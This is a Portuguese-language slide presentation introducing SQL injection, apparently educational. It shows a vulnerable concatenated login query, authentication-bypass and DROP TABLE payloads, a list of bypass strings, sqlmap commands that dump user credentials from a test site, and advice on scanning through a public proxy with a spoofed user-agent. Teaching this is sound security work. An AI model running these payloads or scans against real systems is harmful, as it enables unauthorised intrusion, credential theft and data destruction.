









Estude fácil! Tem muito documento disponível na Docsity
Ganhe pontos ajudando outros esrudantes ou compre um plano Premium
Prepare-se para as provas
Estude fácil! Tem muito documento disponível na Docsity
Prepare-se para as provas com trabalhos de outros alunos como você, aqui na Docsity
Encontra documentos específicos para os exames da tua universidade
Prepare-se com as videoaulas e exercícios resolvidos criados a partir da grade da sua Universidade
Responda perguntas de provas passadas e avalie sua preparação.
Ganhe pontos para baixar
Ganhe pontos ajudando outros esrudantes ou compre um plano Premium
Breve introdução ao SQL inject
Tipologia: Esquemas
1 / 17
Esta página não é visível na pré-visualização
Não perca as partes importantes!










Temas de Hoje:
A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação FrontEnd BackEnd www.eSecurity.com.br
Também é considerado SQL Injection o fato de enganar o form com uma falha de programação. Vamos ao exemplo de um código de validação de usuário: var query = "SELECT * FROM usuarios WHERE login = '" + login +"' AND senha = '" + senha + "'" ; Podemos também causar um erro para testar a aplicação apenas adicionando um caracter SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ; Vamos supor que adicionamos aos campos de usuário e senha o seguinte item. ' or 1=1 -- SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]'; www.eSecurity.com.br
SQL esperado Parâmetros informados SQL resultante Comentário Campo_login Campo_senha SELECT * FROM tabela_usuarios WHERE login = 'campo_login' AND senha = 'campo_senha' alan’;-- SELECT * FROM tabela_usuarios WHERE login = 'marcos';--' AND senha = 'campo_senha' Se o usuário já souber o login (no caso, login do usuário alan) então consegue logar sem senha, já que os caracteres “--“ são comentários no SQL ' OR 1=1 -- SELECT * FROM tabela_usuarios WHERE login = '' OR 1=1--' AND senha = 'campo_senha' Neste caso, não é necessário saber nem o login nem a senha, pois a condição “OR 1=1” sempre vai ser satisfeita e todos os comandos posteriores são comentados pelos carecteres “--” 123'; DROP TABLE produtos; -- SELECT * FROM tabela_usuarios WHERE login = '123'; DROP TABLE produtos;-- ' AND senha = 'campo_senha' Este caso é muito parecido com o primeiro mas um comando para apagar uma tabela é executado antes do comentário. Na verdade aqui o objetivo era somente apagar a tabela, por isso foi passado um login qualquer. www.eSecurity.com.br
b’ or ‘ 1=’ ‘ or ’ ‘ or ‘| ‘ or ‘a’='a ‘ or ”=’ ‘ or 1=1– ‘) or (‘a’='a ‘ or ’1′=’ admin ‘ – - ‘ ou 0=0 – “ou 0=0 – ou 0=0 – ‘ ou 0=0 # “ou 0=0 # ou 0=0 # ‘ ou ‘ x’='x “ou” x”=”x ‘) ou (‘ x’='x ‘ ou 1=1 – “ou 1=1 – ou 1=1 – ‘ ou a=a – “ou” a”=”a ‘) ou (‘ a’='a “) ou (“a”=”a hi “ou” a”=”a hi “ou 1=1 – hi ‘ ou 1=1 – hi ‘ ou ‘ a’='a hi ‘) ou (‘ a’='a hi”) ou (“a”=”a ‘ or ‘x’='x Seguem alguns exemplos de Strings para SQLi www.eSecurity.com.br
Qual a diferença entre SQL Injection e Blind Sql Injection? www.eSecurity.com.br
String: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções] www.eSecurity.com.br
Seguem alguns parâmetros de uso do SQLMap: --help Mostra as opções do SQLMAP --current-db Apresenta o banco de dados atual Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db --banner Pega o Banner do DBMS Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" - b --dbs Lista os bancos de dados do DBMS Exemplo: sqlmap - url "http://testphp.vulnweb.com/listproducts.php?cat=1" – dbs --tables Apresenta as tabelas do banco selecionado Exemplo: sqlmap - url "http://testphp.vulnweb.com/listproducts.php?cat=1" - D acuart --tables DBMS: “Database Management System”, sistema gerenciador de banco de dados www.eSecurity.com.br
--columns Apresenta as colunas da tabela selecionada Exemplo: sqlmap --u http://testphp.vulnweb.com/listproducts.php?cat=1 - D acuart - T users --columns --dump Extrai as informações da colunas selecionadas Exemplo: sqlmap - u "http://testphp.vulnweb.com/listproducts.php?cat=1" - D acuart - T users - C 'uname,pass' – dump --current-user Extrai informações sobre usuário conectado no banco de dados corrente Exemplo: sqlmap - u http://testphp.vulnweb.com/listproducts.php?cat=1 – curent-user --is-dba Verifica se o usuário atual é administrador do Banco Exemplo: sqlmap - u "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --users Enumera todos os usuários Exemplo: sqlmap - u "http://testphp.vulnweb.com/listproducts.php?cat=1" --users --search Varre o banco atrás do que você procura, pode ser um banco, tabela ou coluna Exemplo: sqlmap - u "http://testphp.vulnweb.com/listproducts.php?cat=1" --search – C ‘pass’ www.eSecurity.com.br
Usaremos desta vez um proxy publico, escolheremos o site HideMyAss Acesse o site http://hidemyass.com/proxy-list/ e escolha um proxy Agora devemos efetuar o scan com o proxy selecionado sqlmap - u "http://198.199.108.78/sql_injection/index.php?search=" --dbs --user- agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Ubuntu/ Firefox/3.6.10“ --proxy="http://189.108.118.194:3128"
www.eSecurity.com.br
E-mail : [email protected] Twitter : @esecuritybr e @desafiohacker Skype : desafiohacker Fanpage : www.facebook.com/academiahacker
www.eSecurity.com.br